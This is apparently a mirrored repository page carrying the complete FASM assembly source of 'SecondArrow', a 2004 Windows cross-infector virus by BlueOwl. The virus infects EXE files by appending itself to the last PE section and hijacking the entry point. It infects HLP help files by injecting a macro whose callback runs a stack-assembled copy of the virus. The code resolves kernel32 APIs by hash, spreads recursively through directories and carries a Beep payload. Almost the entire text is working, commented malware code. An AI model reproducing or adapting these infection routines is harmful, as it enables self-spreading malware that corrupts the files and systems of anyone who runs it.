mirror of
https://github.com/vxunderground/MalwareSourceCode
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588 lines
15 KiB
NASM
588 lines
15 KiB
NASM
;
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; SecondArrow by BlueOwl
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;
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; HLP/EXE (Cross)-Infector
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;
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; Disclaimer
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;
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; This is the assembler source of a VIRUS. Me, the author
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; cannot be held responsible for any problems caused by
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; the compiled program. Please do not assemble it if you do
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; not know what you are doing.
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;
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; Description
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;
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; Exes and hlps have always been in a nice kind of circulation,
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; and this is exactly what this virus exploits, infecting both.
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; It infects up to 3 files per run and only randomly activates
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; its payload when no file was infected. I liked doing something
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; like this because i thought it was fun combining to techniques
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; of infection into one.
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;
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; About hlps
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;
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; Hlps are a little bit harder to infect than exefiles (when dealing
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; with the bare minimum infection), and infecting hlps is relatively
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; onnused comparing to the thousands of exeinfectors around this globe.
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; However, it is quite possible to do so and it can work under any
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; windows platform with most versions of winhlp.exe.
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;
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; Hlp file infection just exploits the very simple fact that you can
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; use any windows function in hlps. So for example you could use
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; MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
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; it will display this string. Now the thing that can be exploited
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; here is that one could also pass something like EnumWindows("[string]"
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; , 0); to it and the "[string]" would be executed because this is
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; an ENUMERATE function (windows calls the first argument). And
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; this string can also be the virus code. There is however one problem:
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; the virus must be a string and thus can't be executed if any
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; zero's are present in the string. This is solved in hlp virusses by
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; writing/pusing the entire virus body onto stack and executing it there.
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;
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; Payload
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;
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; Make a scary sound. ;)
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;
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; Assemble with fasm (version 1.50/1.52 should work fine at least)
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; get it from http://www.flatassembler.net
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format PE GUI 4.0
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include '%fasminc%\win32a.inc' ; fasm assembles this FLAT with read/write/execute attributes
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; .equates
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GENERIC_READWRITE equ 0C0000000h
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find_data equ (_fd-4)
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hfind equ (_hf-4)
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virus_size equ ((virus_enda-virus_start)/4+1)*4 ; aligned to a dword (required when being in stack)
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virus_end equ (virus_start+virus_size) ; otherwise the virus will start with a few zeros
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OldEip equ (oep-4)
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macro wcall proc,[arg] ; wcall procedure (indirect)
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{ common ; a macro for calling windows apis ;)
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if ~ arg eq
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stdcall [ebp+proc-delta],arg
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else
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call [ebp+proc-delta]
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end if }
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; .startup
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mov dword [OldEip], exit
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; .code
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virus_start: push 012345678h ; only used when an exe was infected
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oep: pushad ; save regs
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cld ; clear direction flag
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decrypt_from: call set_seh_handler
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mov esp, [esp+8] ; restore seh
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jmp error_occurred
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db "..SecondArrow.."
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set_seh_handler:sub eax, eax
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fs push dword [eax]
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fs mov [eax], esp ; setup self exeption handling
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exehlpa: stc ; this is a clc when we are a hlp
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jc exe_start
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mov edi, [esp+virus_size+44] ; esi = return address (in kernel32)
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jmp in_find_k32
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exe_start: mov edi, [esp+44] ; edi = somewhere in k32
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jmp in_find_k32
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find_k32: dec edi ; what do you think of this routine ;)
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in_find_k32: sub di, di ; align
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cmp word [edi], "MZ"
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jnz find_k32 ; edi = base of kernel32
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call load_delta
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delta: dd 0c3941b3eh ; data is carried close to delta so
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CreateFile dd ? ; this way most references are small
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dd 092d23c21h
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ReadFile dd ?
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dd 0b9b3edbfh
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SetFilePointer dd ?
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dd 0d43240b9h
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WriteFile dd ?
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dd 08a425b5dh
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CloseHandle dd ?
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dd 0bda885d4h
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FindFirstFile dd ?
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dd 06c38b20bh
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FindNextFile dd ?
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dd 0a050a531h
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FindClose dd ?
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dd 0c6c1b075h
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GlobalAlloc dd ?
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dd 0c4617123h
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GlobalLock dd ?
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dd 05837bb59h
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GlobalUnlock dd ?
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dd 0b8925923h
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GlobalFree dd ?
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dd 0642682e4h
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SetCurrentDirectory dd ?
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dd 08a844000h
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Beep dd ? ; for the payload
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dd 030e656feh
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GetTickCount dd ? ; ditto
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dd 0
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infection_count db 0
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hmem dd "Spac"
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hfile dd "e fo"
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hfmem dd "r re"
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hfstart dd "nt $"
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nbr dd "5 ! "
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all_mask db "*.*",0 ; seach for whatever
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macrostart db 4,0,_mse-_ms,0
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_ms db 'RR("KERNEL32","EnumSystemCodePagesA","SU")',0 ; a macro with callback features
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_mse: db 4,0
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macro_size dw ?
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enumw db 'EnumSystemCodePagesA("'
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xchg edi, esp ; edi = esp
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std ; decrementing pointer
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dec edi ; otherwise the last byte would get overwritten
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endmacrostart:
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startmacrosize equ (endmacrostart-macrostart)
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macroend: xchg edi, esp ; esp = edi
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inc esp ; actual entry
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push esp
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ret ; jump to esp
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db '",0)',0
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endmacroend:
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endmacrosize equ (endmacroend-macroend)
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load_delta: pop ebp ; ebp = delta handle
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mov esi, ebp
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lodsd
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get_funcs: xchg ebx, eax
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push esi
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push ebp
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mov ebp, [edi+60]
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add ebp, edi ; ebp = ptr to peheader
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mov ebp, [ebp+120]
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add ebp, edi ; ebp = ptr to export table
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mov edx, [ebp+36]
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add edx, edi ; edx = ptr to function ordinals
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mov esi, [ebp+32]
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add esi, edi ; esi = ptr to ptrs of function names
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mov ecx, [ebp+20] ; ecx = number of exported functions
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find_function: push esi
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push edx
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sub eax, eax
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cdq ; edx=eax=0
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mov esi, [esi]
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add esi, edi ; esi = ptr to function name
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make_checksum: lodsb
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add edx, eax
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rol edx, 5
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or eax, eax
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jnz make_checksum ; edx = checksum
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cmp edx, ebx ; compare with needed
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pop edx
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pop esi
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jz ff_ok
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add esi, 4 ; next namepointer
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inc edx
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inc edx ; next ordinal
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loop find_function
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jmp function_notfound ; exit with eax = 0
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ff_ok: mov esi, [ebp+28]
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add esi, edi ; esi = ptr to function addresses
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movzx ecx, word [edx] ; ecx = function number
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inc ecx ; ecx ++
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rep lodsd
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add eax, edi ; eax = function address
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function_notfound:
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pop ebp
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pop esi
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mov [esi], eax
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or eax, eax ; function could not be found?
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je error_occurred
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lodsd
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lodsd
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or eax, eax
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jnz get_funcs ; load all functions
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mov byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)
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wcall GlobalAlloc,GMEM_MOVEABLE,314
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or eax, eax
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jz error_occurred
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mov [ebp+find_data-delta], eax
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wcall GlobalLock,eax
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mov [ebp+hmem-delta], eax
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call infect_files
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cmp byte [ebp+infection_count-delta], 3 ; nothing infected?
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jnz close_mem
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wcall GetTickCount ; Get a "random" number
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cmp al, 44h ; so this occurs one in about 256 times
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jnz close_mem
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; payload
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push 37 ; make a scary sound payload :)
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pop esi
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sub edi, edi
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countup: add esi, edi
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wcall Beep,esi,40
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inc esi
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test esi, 7
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jnz nok
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inc edi
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nok: cmp esi, 1500
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jb countup
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close_mem: mov esi, 012345678h
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_fd: wcall GlobalUnlock,esi
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wcall GlobalFree,esi
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error_occurred: sub eax, eax
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fs pop dword [eax]
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pop ebx
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exehlpb: stc
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popad
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jc exit_exe
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add esp, virus_size+4 ; fix stack
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sub eax, eax ; return false
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ret 4
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exit_exe: ret
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; ///////////////////////////////////////////////////////////////////////////
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infect_files: lea eax, [ebp+all_mask-delta] ; seach for anything
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wcall FindFirstFile,eax,[ebp+hmem-delta]
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mov [ebp+hfind-delta], eax ; save findhandle
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inc eax
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jz no_file_found ; close memory on error
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try_next_file: cmp byte [ebp+infection_count-delta], 0
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jz no_file_found ; close search
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mov edi, [ebp+hmem-delta]
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mov eax, [edi+32] ; eax = size of file
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and al, 15
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cmp al, 15 ; check for infection padding
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jz already_infected
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call set_infection_seh
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mov esp, [esp+8]
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jmp restore_seh
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set_infection_seh:
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sub eax, eax
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fs push dword [eax]
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fs mov [eax], esp
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; open and read file
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lea ebx, [edi+44d]
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mov esi, ebx ; esi = start of filename
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find_end: lodsb
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or al, al
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jnz find_end ; esi = ptr to end of file name
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mov eax, [esi-5] ; eax = file extension
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or eax, 020202020h ; to lowercase
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cmp eax, ".exe"
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je ext_ok
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cmp eax, ".hlp"
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jne not_infectable
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ext_ok:
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sub eax, eax
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wcall CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax ; open the file
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mov [ebp+hfile-delta], eax
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inc eax
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jz cant_open_file
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mov eax, dword [edi+32d]
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add eax, virus_size*3+4000h ; add some extra space
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wcall GlobalAlloc,GMEM_MOVEABLE,eax ; Get some space
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or eax, eax
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jz close_file
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mov [ebp+hfmem-delta], eax
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wcall GlobalLock,eax ; Lock it (required for some windowsversions)
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or eax, eax
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jz close_fmem
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mov [ebp+hfstart-delta], eax
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push eax
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lea ebx, [ebp+nbr-delta]
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wcall ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0 ; Load file into memory
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or eax, eax
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jz close_lock
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pop edx
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mov edi, edx ; save start to edi too
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push edx
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lea eax, [ebp+exehlpa-delta]
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lea ecx, [ebp+exehlpb-delta]
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push dword [ecx]
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push ecx
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mov ebx, [esi-5]
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or ebx, 020202020h
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cmp ebx, ".exe"
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je is_exe
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mov byte [eax], 0f8h
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mov byte [ecx], 0f8h ; hlp marker (clc)
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call infect_hlpfile
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jmp infect_done
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is_exe: mov byte [eax], 0f9h ; exe marker (stc)
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mov byte [ecx], 0f9h
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call infect_exefile
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infect_done: pop eax
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pop dword [eax]
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pop edx
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jc close_lock ; carry flag is on if error happened
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dec byte [ebp+infection_count-delta] ; take on off the infection counter
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sub edi, edx ; edi = size of file
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push edi
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wcall SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
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pop ecx
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or cl, 15 ; infection sign
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lea eax, [ebp+nbr-delta]
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wcall WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0
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close_lock: wcall GlobalUnlock,[ebp+hfmem-delta]
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close_fmem: wcall GlobalFree,[ebp+hfmem-delta]
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close_file: wcall CloseHandle,[ebp+hfile-delta]
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cant_open_file:
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jmp restore_seh
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not_infectable: cmp dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
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jnz restore_seh
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lea eax, [edi+44]
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cmp byte [eax], "." ; is a root?
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jz restore_seh
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wcall SetCurrentDirectory,eax ; set it as dir
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push dword [ebp+hfind-delta]
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call infect_files ; recursive call
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pop dword [ebp+hfind-delta]
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call dot_dot
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db "..",0
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dot_dot: wcall SetCurrentDirectory ; return to this dir
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restore_seh: sub eax, eax
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fs pop dword [eax]
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pop eax
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already_infected:
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push [ebp+hmem-delta]
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push 012345678h
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_hf: call [ebp+FindNextFile-delta]
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or eax, eax
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jnz try_next_file
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no_file_found:
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wcall FindClose,[ebp+hfind-delta]
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ret
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; ----------------------------------------------------------------------------------------
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; both routines
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; on entry: edi = edx = start of file
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;
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; on exit: carry on: error happened
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; carry off: infection successfull
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; i tried to make the smallest possible routine for this
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; all is old school and should be easily understandable
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; reading the comments ;)
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infect_exefile: cmp word [edx], "MZ" ; "MZ" present?
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jnz no_good_exe
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add edx, [edx+60]
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cmp word [edx], "PE" ; "PE" present?
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jnz no_good_exe
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mov esi, edx ; esi = peheader
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add esi, 120 ; esi = dirheader
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mov eax, [edx+116] ; eax = number of dir entries
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shl eax, 3 ; eax = eax*8
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add esi, eax ; esi = first section header
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movzx eax, word [edx+6] ; eax = number of sections
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dec eax ; eax = eax-1
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imul eax,eax,40
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add esi, eax ; esi = ptr to last section header
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or byte [esi+39], 0F0h ; give section necessary rights
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mov ecx, virus_size ; ecx = size of virus
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mov ebx, [esi+16] ; ebx = physical size of section
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add [esi+16], ecx ; increase section physical size
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add [esi+8], ecx ; increase section virtual size
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push dword [esi+8] ; push section virtual size
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pop dword [edx+80] ; imagesize = section virtual size
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mov eax, [esi+12] ; eax = section rva
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add [edx+80], eax ; add it to the imagesize
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add edi, [esi+20] ; edi = section offset
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add edi, ebx ; edi = end of section
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add eax, ebx ; eax = rva of virus
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xchg [edx+40], eax ; swap it with old entrypoint
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add eax, [edx+52] ; add imagebase to it
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mov [ebp+OldEip-delta], eax ; save it
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lea esi, [ebp+virus_start-delta] ; esi = virus start
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rep movsb ; edi = ptr to end of file
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clc ; indicate sucess
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ret
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no_good_exe: stc ; indicate error
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ret
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; HLP Infection routine, see upper comments
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; and comments below to see how it works
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;
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; .The source of HLP.AYUDA (29a#5) was very helpfull when
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; .i got lost a little! Thankyou Bumblebee.
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;
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; Here is a little "diagram" about how we touch this stuff.
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; Note: if you don't know, rb [num] means [num] bytes
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; dots mean and undefined number of data
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;
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; -------- HLP FILE -------
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;
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; Magic dd 00035f3fh
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; DirStart dd offset main_directory
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; NotDir dd ?
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; filesize dd official filesize
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; .
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; .
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; .
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; main_directory:
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; String rb 9
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; Magic dw 293bh
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; Data rb 28
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; Kind dw ?
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; .
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; .
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; .
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; String "|SYSTEM"
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; System dd offset to system_directory
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; .
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; .
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; system_directory:
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; data rb ? (here is the old system directory)
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; .
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; .
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; .
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; eof_file:
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; (here the old system_directory + our stuff comes)
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;
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; ----------------------------
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infect_hlpfile: cmp dword [edi], 00035f3fh ; check for magic value
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jnz no_good_hlp
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mov esi, [edi+12] ; esi = filesize
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add edi, [edi+4] ; edi = ptr to hlpfileheader
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cmp word [edi+9], 293bh ; check for magic here
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jnz no_good_hlp
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cmp word [edi+39], 1 ; check if the data is not indexed
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jnz no_good_hlp
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mov ecx, 565 ; set scan range
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find_system: inc edi
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cmp dword [edi], "|SYS" ; find |SYSTEM, ignoring all between
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jz system_found
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loop find_system
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jmp no_good_hlp
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system_found: xchg esi, [edi+8] ; swap it with ptr to system dir
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add esi, edx ; get system dir
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cmp word [esi+9], 036ch ; check if system dir
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jnz no_good_hlp
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mov ecx, [esi] ; size of system dir
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mov edi,edx
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add edi,[edx+12] ; edi = ptr to end of file
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push edi ; save start
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rep movsb ; copy old system directory
|
|
push edi
|
|
lea esi, [ebp+macrostart-delta] ; copy start of new macro
|
|
mov ecx, startmacrosize
|
|
rep movsb
|
|
|
|
lea esi, [ebp+virus_end-delta]
|
|
mov ecx, virus_size
|
|
|
|
|
|
; The whole virus will be translated into
|
|
; "mov al, virus_byte[x]; stosb" 's, if
|
|
; the character is a zero a "sub al, al;
|
|
; stosb" is used instead. Furthermore
|
|
; other "special" chars are "\"d.
|
|
|
|
loop_generate: mov al, 0B0h ; mov al, ..
|
|
dec esi
|
|
mov ah, byte [esi]
|
|
cmp ah, 22h ; '"'
|
|
je fix_it
|
|
cmp ah, 27h ; '''
|
|
je fix_it
|
|
cmp ah, 5ch ; '\'
|
|
je fix_it
|
|
cmp ah, 60h ; '''
|
|
je fix_it
|
|
or ah, ah ; 0
|
|
jnz no_fix
|
|
mov ax, 0C028h ; sub al, al
|
|
jmp no_fix
|
|
fix_it: stosb
|
|
mov al, '\'
|
|
no_fix: stosw
|
|
mov al, 0AAh ; stosb
|
|
stosb
|
|
loop loop_generate
|
|
|
|
lea esi, [ebp+macroend-delta]
|
|
mov cl, endmacrosize
|
|
rep movsb
|
|
|
|
pop esi ; get start of new sysdir
|
|
pop ebx
|
|
mov ecx, edi ; ecx = edi
|
|
sub ecx, esi ; ecx = size of new sysdir
|
|
sub ecx, (enumw-macrostart)
|
|
mov word [esi+macro_size-macrostart], cx
|
|
|
|
mov ecx, edi
|
|
sub edi, ebx ; edi = system size
|
|
mov [ebx], edi
|
|
add [edx+12], edi
|
|
sub edi, 9
|
|
mov [ebx+4], edi
|
|
|
|
xchg ecx, edi ; edi = end of file
|
|
clc ; indicate success
|
|
ret
|
|
|
|
no_good_hlp: stc ; failure
|
|
ret
|
|
|
|
; i hope you understood this stuff!
|
|
|
|
db "My way into history!",13,10
|
|
db "BlueOwl June/2004"
|
|
|
|
virus_enda:
|
|
|
|
padding dd 0
|
|
|
|
exit: ret
|
|
|
|
; BlueOwl June/2004 ;)
|
|
|
|
|